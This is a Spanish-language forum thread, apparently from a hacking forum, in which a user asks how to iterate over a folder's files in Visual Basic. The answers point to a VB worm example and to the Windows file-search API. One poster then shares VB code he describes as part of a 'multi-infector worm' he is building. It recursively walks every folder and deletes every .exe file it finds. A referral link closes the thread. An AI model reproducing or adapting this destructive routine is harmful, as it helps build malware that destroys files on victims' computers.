Hola a todos, tengo una duda, ¿ como puedo recorrer los archivos de una carpeta en un bucle sin usar un filelist?, lo consegui con eso, pues es sencillo, pero quisiera saber como se hace sin controles.
Saludos
Mira el siguiente post que es exactamente lo que estás buscando.
Ejemplo de Worm (gusano) en VB (http://foro.elhacker.net/index.php/topic,54121.0.html)
Saludos.
No logre entender muy bien, parece ser que lo que hace es recorrer un directorio y sus subdirectorios, lo que yo necesito es recorrer los archivos de un directorio especifico, para sacar algunas propiedades de esos archivos.
PD: ese post es muy bueno, no lo habia visto
Saludos
Las funciones son FindFirstFile, FindNextFile y FindClose. En el siguiente post se muestra más resumido el uso de estas funciones. Si lo modificas un poco para que actúe de función recursiva es lo mismo que el ejemplo que te mostré anteriormente.
Problemas al detectar directorios en una unidad (http://foro.elhacker.net/index.php/topic,71190.msg326799.html#msg326799)
Saludos.
mira lo que yo ago para recojer todo los archivos de la pc
esto lo estoy usando en la creacion de un worm multi infector
el worm rastrea el los .exe y se los pasa a la funcion infectar exe
en este caso no la pongo despues pongo el worm completo ::)
Dim carpetaS As New Collection
sub carpetas(path as string, nº as long)
Set fso = CreateObject("scripting.filesystemobject")
If fso.getfolder(path).SubFolders.Count = 0 Then: Exit Sub
For Each i In fso.getfolder(path).SubFolders
carpetaS.Add (i)
nº = nº + 1
DoEvents
carpetas i, nº
For Each j In fso.getfolder(i).files
If fso.getextensionname(j) = "exe" Then
fso.deletefile j 'borramos los exe
End If
Next
Next
end sub
______
http://world5.monstersgame.es/?ac=vid&vid=58141462 (http://world5.monstersgame.es/?ac=vid&vid=58141462)
pincha mi link